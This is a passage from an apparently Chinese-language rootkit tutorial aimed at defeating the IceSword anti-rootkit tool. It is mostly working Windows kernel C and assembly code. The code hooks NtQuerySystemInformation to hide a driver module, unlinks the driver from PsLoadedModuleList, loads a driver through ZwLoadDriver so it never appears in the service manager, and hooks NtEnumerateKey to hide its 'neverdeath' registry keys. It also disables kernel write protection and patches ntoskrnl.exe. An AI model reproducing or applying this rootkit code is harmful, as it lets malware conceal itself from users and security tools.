364.                  mov ax ,  word ptr CrackCodeNtQuerySystemInformation [ 4 ]   
 
365.                  mov word ptr [ edi + 4 ],  ax   
 
366.                  popad   
 
367.              }   
 
368.              _asm  //开中断   
 
369.              {   
 
370.                  MOV    EAX ,  CR0         
 
371.                  OR    EAX ,  10000H             
 372.                 
MOV    CR0 ,  EAX                  
 
373.                  STI                       
 
374.              }   
 
375.              Status  =  RepairNtosFile (   
 
376.                              ( DWORD ) OldNtQuerySystemInformation ,   
 
377.                              ( DWORD )(& CrackCodeNtQuerySystemInformation ) );   
 
378.   
 379.             
return  Status ;   
 
380.   
 381. 
}   

四、隐藏内核模块

    对于内核模块,我原以为IS会通过获取内核变量PsLoadedModuleList,然后在通过这个来遍历所有的内核模块。假设此时获得结果 
1 。通过调用函数NtQuerySystemInformation,参数SystemModuleInformation,假设此时获得结果 2 。再把结果 1 与结果 2 进行比较,这样就会发现被隐藏的模块。但事实证明我想的太复杂了。而IS只进行了获取结果 2 的过程。而没有去执行获取结果 1 的过程。

    下面的代码可以在IS下隐藏自己的内核模块,主要思路是,首先获取一个自己这个模块中任意函数的地址,把该地址给DriverAddr,利用 DriverAddr在上述的结果
2 中定位,通过DriverAddr肯定会大于自己这个模块的起始地址并且小于自己这个模块的结束地址来定位。
代码

   
1.  DWORD DriverAddr ;   
   
2.  unsigned char  ResumCodeNtQuerySystemInformation [ 6 ];   
   
3.  unsigned char  CrackCodeNtQuerySystemInformation [ 6 ];   
   
4.  typedef  NTSTATUS  (* NTQUERYSYSTEMINFORMATION )(   
   
5.   
   6.   
IN ULONG        SystemInformationClass ,   
   
7.    OUT PVOID        SystemInformation ,   
   
8.    IN ULONG        SystemInformationLength ,   
   
9.    OUT PULONG        ReturnLength OPTIONAL   );   
  
10.   
  11. 
NTQUERYSYSTEMINFORMATION OldNtQuerySystemInformation ;   
  
12.   
  13. 
NTSTATUS NewNtQuerySystemInformation (   
  
14.   
  15.   
IN ULONG        SystemInformationClass ,   
  
16.    OUT PVOID        SystemInformation ,   
  
17.    IN ULONG        SystemInformationLength ,   
  
18.    OUT PULONG        ReturnLength OPTIONAL  )   
  
19.  {   
  
20.      NTSTATUS Status ;   
  
21.   
  22.         
_asm   //还原   
  
23.          {   
  
24.              pushad   
  
25.              mov edi ,  OldNtQuerySystemInformation   
  
26.              mov eax ,  dword ptr ResumCodeNtQuerySystemInformation [ 0 ]   
  
27.              mov  [ edi ],  eax   
  
28.              mov ax ,  word ptr ResumCodeNtQuerySystemInformation [ 4 ]   
  
29.              mov  [ edi + 4 ],  ax   
  
30.              popad   
  
31.          }   
  
32.            
  33.         
Status  =  ZwQuerySystemInformation  (    
  
34.                              SystemInformationClass ,    
  
35.                              SystemInformation ,    
  
36.                              SystemInformationLength ,    
  
37.                              ReturnLength OPTIONAL  );   
  
38.          _asm  //替换   
  
39.          {   
  
40.              pushad   
  
41.              mov edi ,  OldNtQuerySystemInformation   
  
42.              mov eax ,  dword ptr CrackCodeNtQuerySystemInformation [ 0 ]   
  
43.              mov  [ edi ],  eax   
  
44.              mov ax ,  word ptr CrackCodeNtQuerySystemInformation [ 4 ]   
  
45.              mov  [ edi + 4 ],  ax   
  
46.              popad   
  
47.          }   
  
48.   
  49.         
if  (  Status  !=  STATUS_SUCCESS  ||  SystemInformationClass != 0xb  )   //是否是获取模块信息   
  
50.          {   
  
51.              return  Status ;     
  
52.          }   
  
53.   
  54.         
_asm   
  
55.          {   
  
56.              pushad   
  
57.   
  58.             
mov edi ,  SystemInformation   
  
59.              mov ecx , [ edi ]             //eax=模块数目   
  
60.              add edi ,  0x4   
  61.   
  62. 
NextModuleInfo :   
  
63.   
  64.             
mov eax , [ edi + 0x8 ]       
  
65.              mov edx , [ edi + 0xC ]     
  
66.                
  67.             
add edx ,  eax       
  
68.              mov ebx ,  DriverAddr   
  
69.   
  70.             
cmp ebx ,  eax   
  
71.              ja    FirstMatch   
  
72.              dec ecx   
  
73.              test ecx ,  ecx   
  
74.              jz  ArrayEnd   
  
75.   
  76.             
add edi ,  0x11c   
  77.             
jmp NextModuleInfo   
  
78.   
  79. 
FirstMatch :   
  
80.              cmp ebx ,  edx   
  
81.              jb SecMatch     //找到的话则跳去把该模块以后的模块数据前移已覆盖掉此模块   
  
82.   
  83.             
dec ecx   
  
84.              test ecx ,  ecx   
  
85.              jz  ArrayEnd   
  
86.              add edi ,  0x11c   
  87.             
jmp NextModuleInfo   
  
88.  SecMatch :   
  
89.              dec ecx   
  
90.              xor  eax ,  eax   
  
91.              mov ax ,  0x11c   
  92.             
mul cx   
  
93.              xor  ecx ,  ecx   
  
94.              mov ecx ,  eax   
  
95.              mov esi ,  edi   
  
96.              add esi ,  0x11c   
  97.             
rep movsb   
  
98.              mov edi ,  SystemInformation   
  
99.              mov eax , [ edi ]   
 
100.              dec eax   
 
101.              mov  [ edi ],  eax             //完成   
 
102.  ArrayEnd :   
 
103.              popad   
 
104.          }   
 
105.          return  Status ;   
 
106.  }   
 
107.   
 108. 
NTSTATUS PatchNtQuerySystemInformation ()   
 
109.  {   
 
110.      NTSTATUS Status ;   
 
111.                
 112.             
OldNtQuerySystemInformation =( NTQUERYSYSTEMINFORMATION )(  GetFunctionAddr ( L "NtQuerySystemInformation" ) );   
 
113.   
 114.             
if  (  OldNtQuerySystemInformation  ==  NULL  )   
 
115.              {   
 
116.                  return  STATUS_DEVICE_CONFIGURATION_ERROR ;   
 
117.              }   
 
118.   
 119.             
_asm     //关中断   
 
120.              {   
 
121.                  CLI                     
 
122.                  MOV    EAX ,  CR0          
 
123.                  AND EAX ,  NOT  10000H    
 124.                 
MOV    CR0 ,  EAX         
 
125.              }   
 
126.   
 127.             
_asm   
 
128.              {   
 
129.                  pushad   
 
130.                  //获取 NtQuerySystemInformation 函数的地址并保留该函数的起始六个字节   
 
131.   
 132.                 
lea eax ,  NewNtQuerySystemInformation       
 
133.                  mov DriverAddr ,  eax  //把NewNtQuerySystemInformation函数地址给DriverAddr   
 
134.   
 135.                 
mov edi ,  OldNtQuerySystemInformation   
 
136.                  mov eax , [ edi ]   
 
137.                  mov dword ptr ResumCodeNtQuerySystemInformation [ 0 ],  eax   
 
138.                  mov ax , [ edi + 4 ]   
 
139.                  mov word  ptr ResumCodeNtQuerySystemInformation [ 4 ],  ax   
 
140.                    
 141.                 
//构造要替换的代码,使得系统调用该函数时跳到我们构造的NewNtQuerySystemInformation去执行   
 
142.                  mov byte ptr CrackCodeNtQuerySystemInformation [ 0 ],  0x68   
 143.                 
lea edi ,  NewNtQuerySystemInformation   
 
144.                  mov dword ptr CrackCodeNtQuerySystemInformation [ 1 ],  edi   
 
145.                  mov byte ptr CrackCodeNtQuerySystemInformation [ 5 ],  0xC3   
 146.   
 147.                 
//把构造好的代码进行替换   
 
148.                  mov edi ,  OldNtQuerySystemInformation   
 
149.                  mov eax ,  dword ptr CrackCodeNtQuerySystemInformation [ 0 ]   
 
150.                  mov dword ptr [ edi ],  eax   
 
151.                  mov ax ,  word ptr CrackCodeNtQuerySystemInformation [ 4 ]   
 
152.                  mov word ptr [ edi + 4 ],  ax   
 
153.                  popad   
 
154.              }   
 
155.   
 156.             
_asm  //开中断   
 
157.              {   
 
158.                  MOV    EAX ,  CR0         
 
159.                  OR    EAX ,  10000H            
 160.                 
MOV    CR0 ,  EAX              
 
161.                  STI                       
 
162.              }   
 
163.   
 164.             
Status  =  RepairNtosFile  (   
 
165.                              ( DWORD ) OldNtQuerySystemInformation ,   
 
166.                              ( DWORD )& CrackCodeNtQuerySystemInformation [ 0 ] );   
 
167.              return  Status ;   
 
168.                
 169. 
}  

    
你可能发现上面这段代码hook的也是NtQuerySystemInformation函数,而在隐藏进程中不是已经hook了 NtQuerySystemInformation函数,这样不是造成重合了。在实际操作中,你只要hook一次 NtQuerySystemInformation函数,然后在自己定义NewNtQuerySystemInformation中增加几个选择项就是了。我这样写是为了便于理解,使它们每个部分自成一体,如果按实际代码搬出来的话,显得太支离破碎(支离破碎的支到底是这个“支”还是这个“肢”??)了。

    不知道pjf看到这里之后会不会想着给IS升级,增加IS检测隐藏内核模块的功能,因此下面一并给出了如何在 PsLoadedModuleList链表删除自身的代码,关于如何获取PsLoadedModuleList这个内核变量的地址我就不说了,不了解的请参看TK的《获取Windows 系统的内核变量》。PsLoadedModuleList所指向的是结构是_MODULE_ENTRY,微软没有给出定义,但是uzen_op (fuzen_op@yahoo
. com)在FU_Rootkit2 .0 的资源中给出了MODULE_ENTRY的结构定义如下:
代码

   
1.  typedef struct  _MODULE_ENTRY  {   
   
2.      LIST_ENTRY le_mod ;   
   
3.      DWORD  unknown [ 4 ];   
   
4.      DWORD  base ;   
   
5.      DWORD  driver_start ;   
   
6.      DWORD  unk1 ;   
   
7.      UNICODE_STRING driver_Path ;   
   
8.      UNICODE_STRING driver_Name ;   
   
9.  }  MODULE_ENTRY , * PMODULE_ENTRY ;   

进一步分析后发现上述结构中的unk1成员的值其实就是该模块文件的大小 . 从新对该结构定义如下 :

 
代码

   
1.  typedef struct  _MODULE_ENTRY  {   
   
2.      LIST_ENTRY le_mod ;   
   
3.      DWORD  unknown [ 4 ];   
   
4.      DWORD  base ;   
   
5.      DWORD  driver_start ;   
   
6.      DWORD  Size ;   
   
7.      UNICODE_STRING driver_Path ;   
   
8.      UNICODE_STRING driver_Name ;   
   
9.  }  MODULE_ENTRY , * PMODULE_ENTRY ;   

    
PsLoadedModuleList指向的是一个带表头的双向链表,该链表的表头所指向的第一个MODULE_ENTRY的就是 ntoskrnl . exe,此时它的base成员的值就是ntoskrnl . exe在内存中的起始地址 . 这是就可以顺手取一下NtoskrnlBase的值。
    有一点要注意的是,如果DriverEntry
() 例程未返回STATUS_SUCCESS之前。系统不会把你加入到 PsLoadedModuleList链表中,此时你在PsLoadedModuleList中是找不到自己的。当然为了这个而写一个分发例程也行。我是在自己hook的那些系统函数中设了一个阀值,阀值初始值为“开”,这样系统调用这个函数时都会先检测阀值是否是“开”,是的话跑到 PsLoadedModuleList找一下我们的模块是否存在,存在的话说明DriverEntry () 已经返回成功,马上把自己从 PsLoadedModuleList链表中删除,然后把阀值设成“关”,这样系统下次调用这个函数时发现阀值是“关”的就不会傻乎乎的又跑到 PsLoadedModuleList中去搂一遍了。

 
代码

   
1.  DWORD NtoskrnlBase = 0 ;   
   
2.  DWORD PsLoadedModuleListPtr = 0 ;   
   
3.   
   4. 
typedef struct  _MODULE_ENTRY  {   
   
5.   
   6.     
LIST_ENTRY le_mod ;   
   
7.      DWORD  unknown [ 4 ];   
   
8.      DWORD  base ;   
   
9.      DWORD  driver_start ;   
  
10.      DWORD  Size ;   
  
11.      UNICODE_STRING driver_Path ;   
  
12.      UNICODE_STRING driver_Name ;   
  
13.  }  MODULE_ENTRY , * PMODULE_ENTRY ;   
  
14.   
  15. 
NTSTATUS GetPsLoadedModuleListPtr ()   
  
16.  {   
  
17.      UNICODE_STRING  UStrName ;   
  
18.      DWORD KdEnableDebuggerAddr ;   
  
19.      DWORD InitSystem = 0 ;   
  
20.      DWORD KdDebuggerDataBlock = 0 ;   
  
21.      PMODULE_ENTRY NtosModPtr ;   
  
22.      unsigned char  *  DebuggerDataBlockPtr ;   
  
23.      unsigned char  *  Sysinit ;   
  
24.      int  i , j ;   
  
25.            
  26.         
RtlInitUnicodeString  (   
  
27.                      & UStrName ,    
  
28.                      L "KdEnableDebugger"  );   
  
29.   
  30.         
KdEnableDebuggerAddr =( DWORD ) MmGetSystemRoutineAddress ( & UStrName  );                                                   
  
31.            
  32.         
if  ( ! KdEnableDebuggerAddr  )   
  
33.          {   
  
34.              return  STATUS_DEVICE_CONFIGURATION_ERROR ;   
  
35.          }   
  
36.            
  37.         
for  ( i = 0 ,  Sysinit  = ( unsigned char  * ) KdEnableDebuggerAddr ;  i < 0x50 ;  i ++,  Sysinit ++)   
  
38.          {   
  
39.              if  ( (* Sysinit ) ==  0xc6  && (*( Sysinit + 0x1 )) ==  0x05  && (*( Sysinit + 0x6 )) ==  0x01  && (*( Sysinit + 0x7 )) ==  0xE8  )   
  
40.              {   
  
41.                  _asm   
  
42.                  {   
  
43.                      pushad   
  
44.                      mov edi ,  Sysinit   
  
45.                      mov eax , [ edi + 0x8 ]   
  
46.                      add edi ,  0xC   
  47.                     
add edi ,  eax   
  
48.                      mov InitSystem ,  edi   
  
49.                      popad   
  
50.                  }   
  
51.              }   
  
52.              if  (  InitSystem  !=  0 )  break ;   
  
53.   
  54.         
}   
  
55.   
  56.         
if  (  InitSystem  ==  0  )   
  
57.          {   
  
58.              return  STATUS_DEVICE_CONFIGURATION_ERROR ;   
  
59.          }    
  
60.            
  61.         
for  (  i = 0 ,  DebuggerDataBlockPtr  = ( unsigned char  * ) InitSystem ;  i < 0x70 ;  i ++, DebuggerDataBlockPtr ++)   
  
62.          {   
  
63.   
  64.             
if  ( *(( DWORD *) DebuggerDataBlockPtr ) ==  0x4742444b  )   
  
65.              {   
  
66.                  DebuggerDataBlockPtr --;   
  
67.                  DebuggerDataBlockPtr --;   
  
68.   
  69.                 
for  ( j = 0 ;  j < 0x10 ;  j ++,  DebuggerDataBlockPtr --)   
  
70.                  {   
  
71.                      if  ( * DebuggerDataBlockPtr  ==  0x68  )   
  
72.                      {   
  
73.                          _asm    
  
74.                          {   
  
75.                              pushad   
  
76.                              mov edi ,  DebuggerDataBlockPtr   
  
77.                              inc edi   
  
78.                              mov eax , [ edi ]   
  
79.                              mov KdDebuggerDataBlock ,  eax   
  
80.                              popad   
  
81.                          }   
  
82.                          break ;   
  
83.                      }   
  
84.                  }   
  
85.                    
  86.             
}   
  
87.   
  88.             
if  (  KdDebuggerDataBlock  !=  0  )   
  
89.              {   
  
90.                  break ;   
  
91.              }   
  
92.          }   
  
93.   
  94.         
if  (  KdDebuggerDataBlock  ==  0  )   
  
95.          {   
  
96.              return  STATUS_DEVICE_CONFIGURATION_ERROR ;   
  
97.          }   
  
98.   
  99.         
_asm   
 
100.          {   
 
101.              pushad   
 
102.              mov edi ,  KdDebuggerDataBlock   
 
103.              mov eax , [ edi + 0x48 ]   
 
104.              mov PsLoadedModuleListPtr ,  eax   
 
105.              popad   
 
106.          }   
 
107.   
 108.         
if  (  PsLoadedModuleListPtr  ==  0  )   
 
109.          {   
 
110.              return  STATUS_DEVICE_CONFIGURATION_ERROR ;   
 
111.          }   
 
112.            
 113.         
//获取 Ntoskrnl 的起始地址   
 
114.          NtosModPtr  = (  PMODULE_ENTRY  )  PsLoadedModuleListPtr ;   
 
115.          NtosModPtr  = (  PMODULE_ENTRY  ) ( NtosModPtr -> le_mod . Flink  );      
 
116.          NtoskrnlBase  = ( DWORD ) (  NtosModPtr -> base  );   
 
117.   
 118.         
return  STATUS_SUCCESS ;   
 
119.   
 120. 
}   
 
121.   
 122. 
NTSTATUS RemoveModule  ( )   
 
123.  {   
 
124.      DWORD RemoveModleAddr ;   
 
125.      PMODULE_ENTRY PModPtr_Current ;   
 
126.      PMODULE_ENTRY PModPtr_Flink ;   
 
127.      PMODULE_ENTRY PModPtr_Blink ;   
 
128.   
 129.             
PModPtr_Current =( PMODULE_ENTRY ) PsLoadedModuleListPtr ;   
 
130.                
 131.   
 132.   
 133.             
PModPtr_Flink  = ( PMODULE_ENTRY )( PModPtr_Current -> le_mod . Flink );   
 
134.   
 135.             
//Get RemoveModle Addr   
 
136.   
 137.             
RemoveModleAddr =  DriverAddr ;   
 
138.   
 139.             
for  ( ;  PModPtr_Flink -> le_mod . Flink  != ( PLIST_ENTRY )  PModPtr_Current  ;  PModPtr_Flink  = ( PMODULE_ENTRY )( PModPtr_Flink -> le_mod . Flink ) )   
 
140.              {   
 
141.                  if  (  RemoveModleAddr  > (( DWORD ) PModPtr_Flink -> base ) &&  RemoveModleAddr  < (( DWORD )( PModPtr_Flink -> Size ) + (( DWORD ) PModPtr_Flink -> base )) )   
 
142.                  {   
 
143.                      PModPtr_Blink  = ( PMODULE_ENTRY )( PModPtr_Flink -> le_mod . Blink );   
 
144.                      PModPtr_Flink  = ( PMODULE_ENTRY )( PModPtr_Flink -> le_mod . Flink );   
 
145.                      PModPtr_Blink -> le_mod . Flink = ( PLIST_ENTRY ) PModPtr_Flink ;   
 
146.                      PModPtr_Flink -> le_mod . Blink = ( PLIST_ENTRY ) PModPtr_Blink ;   
 
147.                      IsDelModule = TRUE ;   
 
148.                      break ;   
 
149.                  }   
 
150.              }   
 
151.              if  (  IsDelModule  !=  TRUE  )   
 
152.              {   
 
153.                  return  STATUS_DEVICE_CONFIGURATION_ERROR ;   
 
154.              }   
 
155.              return  STATUS_SUCCESS ;   
 
156.   
 157. 
}   
 
158.   

    
上面这两个函数中,GetPsLoadedModuleListPtr () 是通过特征码搜索获取KdDebuggerDataBlock的位置,使用特征码搜索办法虽然不是很好,但是通用性强。然后再以此获取PsLoadedModuleList地址,RemoveModule () 用来实现在PsLoadedModuleList链表中删除自己。在PsLoadedModuleList中定位的方法也是使用上面利用DriverAddr定位。


五、隐藏服务:

    普通情况下加载驱动需要 OpenSCManager
-> CreateService -> StartService,这样驱动就会跑到服务管理器中去注册一下自己,并且要隐藏这样加载驱动的服务,不是不行,只是太麻烦而且没效率了。要hook一大堆的服务函数。不过在逆向IS的时候发现了一个不需要去服务管理器注册而直接加载驱动的方法。就是使用ZwLoadDriver(这个函数通常是ring0中加载驱动时用,由于被Ntdll . dll导出,ring3就也能用了)进行直接加载。这样就不用去服务管理器中注册自己,并且这样加载的驱动windows系统工具中的“系统信息”查看器也查不到你,更不用说那些什么服务管理器之类的东东了。屡用不爽。下面介绍一下用法:

    
1 、首先自己在注册表的服务项中添加一个自己的服务名字项。
    
2 、在自己添加的服务名字项中添加一些驱动信息(其实就是手工实现CreateService () 函数对注册表的那些操作),这些信息包括“ErrorControl”,“ImagePath”,“Start”,“Type”等等。你要手工设置这些键以及键值。

按上面设置完后,来看看ZwLoadDriver的原形:
代码

   
1.  NTSTATUS   
   
2.      ZwLoadDriver (   
   
3.      IN PUNICODE_STRING DriverServiceName  );   
   
4.   
   5. 
下面的代码给出了ZwLoadDriver的使用例子:   
   
6.   
   7. 
AnotherWayStartService (  TCHAR  * szDir  )   
   
8.  {   
   
9.      HKEY RegKey ;   
  
10.      HKEY hLicenses ;   
  
11.      DWORD disp ;   
  
12.      DWORD ErrorControl = NULL ;   
  
13.      DWORD ProcessID ;   
  
14.      DWORD Start = 3 ;   
  
15.      DWORD Type = 1 ;   
  
16.      LONG Regrt ;   
  
17.   
  18.     
DWORD ZwLoadDriver ;   
  
19.      DWORD RtlInitUnicodeString ;   
  
20.        
  21.     
UNICODE_STRING RegService ;   
  
22.   
  23.     
PCWSTR    RegServicePath =  L "\\Registry\\Machine\\System\\CurrentControlSet\\Services\\neverdeath" ;   
  
24.   
  25.     
TCHAR    DriverFilePath [ MAX_PATH ] =  "\\??\\" ;  
  
26.  
  27.  
  28.         
Regrt  =  RegOpenKeyEx  (  
  
29.                      HKEY_LOCAL_MACHINE ,  
  
30.                      "SYSTEM\\CurrentControlSet\\Services" ,  
  
31.                     0 ,  
  
32.                      KEY_CREATE_SUB_KEY  +  KEY_SET_VALUE ,  
  
33.                      & hLicenses  );  
  
34.  
  35.         
if  (  Regrt  !=  ERROR_SUCCESS  )   
  
36.          {  
  
37.              return false ;  
  
38.          }  
  
39.  
  40.         
Regrt = RegCreateKeyEx  (  
  
41.                      hLicenses ,  
  
42.                      "neverdeath" ,  
  
43.                     0 ,  
  
44.                      "" ,  
  
45.                      REG_OPTION_NON_VOLATILE ,  
  
46.                      KEY_ALL_ACCESS ,  
  
47.                      NULL ,  
  
48.                      & RegKey ,  
  
49.                      & disp  );  
  
50.  
  51.         
if  (  Regrt  !=  ERROR_SUCCESS  )   
  
52.          {  
  
53.              return false ;  
  
54.          }  
  
55.  
  56.             
Regrt  =  RegOpenKeyEx  (  
  
57.                & nb ,  sp ;          HKEY_LOCAL_MACHINE ,  
  
58.                          "SYSTEM\\CurrentControlSet\\Services\\neverdeath" ,  
  
59.                         0 ,  
  
60.                          KEY_CREATE_SUB_KEY  +  KEY_SET_VALUE ,  
  
61.                          & RegKey  );  
  
62.  
  63.         
if  (  Regrt  !=  ERROR_SUCCESS  )   
  
64.          {  
  
65.              return false ;  
  
66.          }  
  
67.  
  68.         
Regrt  =  RegSetValueEx  (  
  
69.                      RegKey ,  
  
70.                      "ErrorControl" ,  
  
71.                      NULL ,  
  
72.                      REG_DWORD ,  
  
73.                      ( const unsigned char  *)(& ErrorControl ),  
  
74.                     4  );  
  
75.  
  76.         
if  (  Regrt  !=  ERROR_SUCCESS  )   
  
77.          {  
  
78.              return false ;  
  
79.          }  
  
80.           
  81.         
strcat ( DriverFilePath ,  szDir );  
  
82.  
  83.         
Regrt  =  RegSetValueEx  (  
  
84.                      RegKey ,  
  
85.                      "ImagePath" ,  
  
86.                      NULL ,  
  
87.                      REG_EXPAND_SZ ,  
  
88.                      ( const unsigned char  *)(& DriverFilePath ),  
  
89.                      strlen (  DriverFilePath  ) );  
  
90.  
  91.         
if  (  Regrt  !=  ERROR_SUCCESS  )   
  
92.          {  
  
93.              return false ;  
  
94.          }  
  
95.  
  96.  
  97.         
Regrt  =  RegSetValueEx  (  
  
98.                      RegKey ,  
  
99.                      "Start" ,  
 
100.                      NULL ,  
 
101.                      REG_DWORD ,  
 
102.                      ( const unsigned char  *)(& Start ),  
 
103.                     4  );  
 
104.  
 105.         
if  (  Regrt  !=  ERROR_SUCCESS  )   
 
106.          {  
 
107.              return false ;  
 
108.          }  
 
109.           
 110.         
Regrt  =  RegSetValueEx  (          
 
111.                      RegKey ,  
 
112.                      "Type" ,  
 
113.                      NULL ,  
 
114.                      REG_DWORD ,  
 
115.                      ( const unsigned char  *)(& Type ),  
 
116.                     4  );  
 
117.  
 118.         
if  (  Regrt  !=  ERROR_SUCCESS  )   
 
119.          {  
 
120.              return false ;  
 
121.          }  
 
122.  
 123.         
//还记得前面隐藏进程时,我们进程ID是从注册表中取的  
 
124.          //下面就是把进程ID写入注册表,不会影响驱动的加载  
 
125.  
 126.         
ProcessID = GetCurrentProcessId ();      
 
127.  
 128.         
Regrt  =  RegSetValueEx  (  
 
129.                      RegKey ,  
 
130.                      "ProcessID" ,  
 
131.                      NULL ,  
 
132.                      REG_DWORD ,  
 
133.                      ( const unsigned char  *)(& ProcessID ),  
 
134.                     4  );  
 
135.  
 136.         
if  (  Regrt  !=  ERROR_SUCCESS  )   
 
137.          {  
 
138.              return false ;  
 
139.          }          
 
140.           
 141.         
CloseHandle (  RegKey  );  
 
142.  
 143.  
 144.         
ZwLoadDriver  = ( DWORD )  GetProcAddress  (   
 
145.                              GetModuleHandle (  "ntdll.dll"  ),   
 
146.                              "ZwLoadDriver"  );  
 
147.  
 148.         
RtlInitUnicodeString  = ( DWORD )  GetProcAddress (   
 
149.                                  GetModuleHandle (  "ntdll.dll"  ),   
 
150.                                  "RtlInitUnicodeString"  );   
 
151.            
 152.         
_asm   
 
153.          {   
 
154.              pushad   
 
155.              push RegServicePath   
 
156.              lea edi ,  RegService    
 
157.              push edi   
 
158.              call RtlInitUnicodeString     //装载UNICODE字符   
 
159.   
 160.             
lea edi ,  RegService   
 
161.              push edi   
 
162.              call ZwLoadDriver       
 
163.              popad   
 
164.          }   
 
165.   
 166.         
return true ;   
 
167.   
 168. 
}   

请注意上面这段代码中加载驱动时所使用的注册表路径格式是:
“\\Registry\\Machine\\System\\CurrentControlSet\\Services\\neverdeath”
而不是:
“HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\neverdeath”
也许你已经想到了那么卸载驱动会不会就是函数“ZwUnloadDriver”?自己试一下不就知道了:)


六、隐藏注册表:

    IS处理注册表并没有什么新意,就是调用那些ZwCreateKey、ZwOpenKey、ZwQueryKey、ZwSetValueKey一类的注册表操作函数,通过伪造内核文件,所以这部分可以很轻松hook并实现隐藏。IS在这里玩了一个小花样,在XP下,IS会在把从 ntoskrnl
. exe读到的NtEnumerateKey起始地址的第三个字(注意是字,不是字节!)先加上 0xD50 后,再进行还原,因此你在伪造内核文件时必须先把自己构造的代码的第三个字减去 0xD50 后再写入到otoskrnl . exe中,否则就等着BSOD吧。而在 2K 中就不需要这些操作。这里主要是通过hook注册表函数NtEnumerateKey来隐藏我们注册中的“CurrentControlSet\Services”下的 “neverdeath”项以及“CurrentControlSet\Enum\Root”下的“LEGACY_NEVERDEATH”项。至于隐藏键与键值在这里就不说了,自己随手写一个就是了。顺便提一下,由于windows的regedit也是调用这些函数访问注册表,所以如果你在IS中隐藏了注册表也就等于在windows的regedit中隐藏了。以下代码在XP下测试通过,如要在 2K 或 2K3 中运行,请根据需要自己进行取舍。
由于NtEnumerateKey没有被ntoskrnl
. exe导出,这里利用
NtEnumerateKey在服务表 偏移 = “NtDuplicateToken”在服务表中的偏移+
2
来获取NtEnumerateKey地址。
代码

   
1.  PCWSTR HideKey  =  L "neverdeath" ;   
   
2.  PCWSTR HideKeyLEG  =  L "LEGACY_NEVERDEATH" ;   
   
3.   
   4. 
unsigned char  ResumCodeNtEnumerateKey [ 6 ];   
   
5.  unsigned char  CrackCodeNtEnumerateKey [ 6 ];   
   
6.  unsigned char  CrackCodeNtEnumerateKeyWriteFile [ 6 ];   
   
7.   
   8. 
typedef  NTSTATUS  ( * NTENUMERATEKEY  ) (   
   
9.    IN HANDLE            KeyHandle ,   
  
10.    IN ULONG            Index ,   
  
11.    IN KEY_INFORMATION_CLASS  KeyInformationClass ,   
  
12.    OUT PVOID            KeyInformation ,   
  
13.    IN ULONG            Length ,   
  
14.    OUT PULONG        ResultLength  );   
  
15.   
  16. 
NTENUMERATEKEY OldNtEnumerateKey ;   
  
17.   
  18. 
typedef struct  ServiceDescriptorEntry  {   
  
19.      unsigned int  * ServiceTableBase ;   
  
20.      unsigned int  * ServiceCounterTableBase ;  //Used only in checked build   
  
21.      unsigned int  NumberOfServices ;   
  
22.      unsigned char  * ParamTableBase ;   
  
23.  }  ServiceDescriptorTableEntry , * PServiceDescriptorTableEntry ;   
  
24.   
  25. 
extern  PServiceDescriptorTableEntry KeServiceDescriptorTable ;   
  
26.   
  27. 
NTSTATUS NewNtEnumerateKey (   
  
28.   
  29.   
IN HANDLE            KeyHandle ,   
  
30.    IN ULONG            Index ,   
  
31.    IN KEY_INFORMATION_CLASS  KeyInformationClass ,   
  
32.    OUT PVOID            KeyInformation ,   
  
33.    IN ULONG            Length ,   
  
34.    OUT PULONG        ResultLength  )   
  
35.  {   
  
36.      NTSTATUS Status ;   
  
37.      PCWSTR KeyNamePtr ;   
  
38.   
  39.   
  40.             
_asm   //还原   
  
41.              {   
  
42.                  pushad   
  
43.                  mov edi ,  OldNtEnumerateKey   
  
44.                  mov eax ,  dword ptr ResumCodeNtEnumerateKey [ 0 ]   
  
45.                  mov  [ edi ],  eax   
  
46.                  mov ax ,  word ptr ResumCodeNtEnumerateKey [ 4 ]   
  
47.                  mov  [ edi + 4 ],  ax   
  
48.                  popad   
  
49.              }   
  
50.   
  51.             
Status  =  ZwEnumerateKey  (    
  
52.                              KeyHandle ,   
  
53.                              Index ,   
  
54.                              KeyInformationClass ,   
  
55.                              KeyInformation ,   
  
56.                              Length ,   
  
57.                              ResultLength  );   
  
58.            
  59.                
  60.             
if  (  Status  ==  STATUS_SUCCESS  )   
  
61.              {   
  
62.                   _asm   
  
63.                   {   
  
64.                      push edi   
  
65.                      mov edi ,  KeyInformation   
  
66.                      add edi ,  0x10   
  67.                     
mov KeyNamePtr ,  edi   
  
68.                      pop edi   
  
69.                   }   
  
70.                   if  (  wcsstr ( KeyNamePtr ,  HideKey )!= NULL  ||  wcsstr ( KeyNamePtr ,  HideKeyLEG ) !=  NULL  )   
  
71.                   {   
  
72.                       Index = Index + 1 ;   
  
73.                       Status  =  OldNtEnumerateKey  (    
  
74.                                      KeyHandle ,   
  
75.                                      Index ,   
  
76.                                      KeyInformationClass ,   
  
77.                                      KeyInformation ,   
  
78.                                      Length ,   
  
79.                                      ResultLength  );   
  
80.                   }   
  
81.              }   
  
82.                
  83.             
_asm  //替换   
  
84.              {   
  
85.                  pushad   
  
86.                  mov edi ,  OldNtEnumerateKey   
  
87.                  mov eax ,  dword ptr CrackCodeNtEnumerateKey [ 0 ]   
  
88.                  mov  [ edi ],  eax   
  
89.                  mov ax ,  word ptr CrackCodeNtEnumerateKey [ 4 ]   
  
90.                  mov  [ edi + 4 ],  ax   
  
91.                  popad   
  
92.              }   
  
93.              return  Status ;    
  
94.   
  95. 
}   
  
96.  NTSTATUS GetOldNtEnumerateKey ()   
  
97.  {   
  
98.      DWORD NtDuplicateTokenAddr ;   
  
99.      int  i = 0 ;   
 
100.   
 101.             
NtDuplicateTokenAddr  =  GetFunctionAddr (  L "NtDuplicateToken"  );   
 
102.   
 103.             
if  (  NtDuplicateTokenAddr  ==  NULL  )   
 
104.              {   
 
105.                  DbgPrint ( "Get NtQuerySystemInformation Addr Error!!" );   
 
106.                  return  STATUS_DEVICE_CONFIGURATION_ERROR ;   
 
107.              }   
 
108.   
 109.             
for  (;; i ++)   
 
110.              {   
 
111.                  if  (  NtDuplicateTokenAddr  == ( DWORD )(*((( PServiceDescriptorTableEntry ) KeServiceDescriptorTable )-> ServiceTableBase  +  i )) )   
 
112.                  {   
 
113.                      OldNtEnumerateKey  = ( NTENUMERATEKEY )(*((( PServiceDescriptorTableEntry ) KeServiceDescriptorTable )-> ServiceTableBase  + ( i + 2 )));   
 
114.                      break ;   
 
115.                  }   
 
116.              }   
 
117.              return  STATUS_SUCCESS ;   
 
118.   
 119. 
}   
 
120.   
 121. 
NTSTATUS PatchNtEnumerateKey ()   
 
122.  {   
 
123.      NTSTATUS Status ;   
 
124.                                                                       
 125.   
 126.             
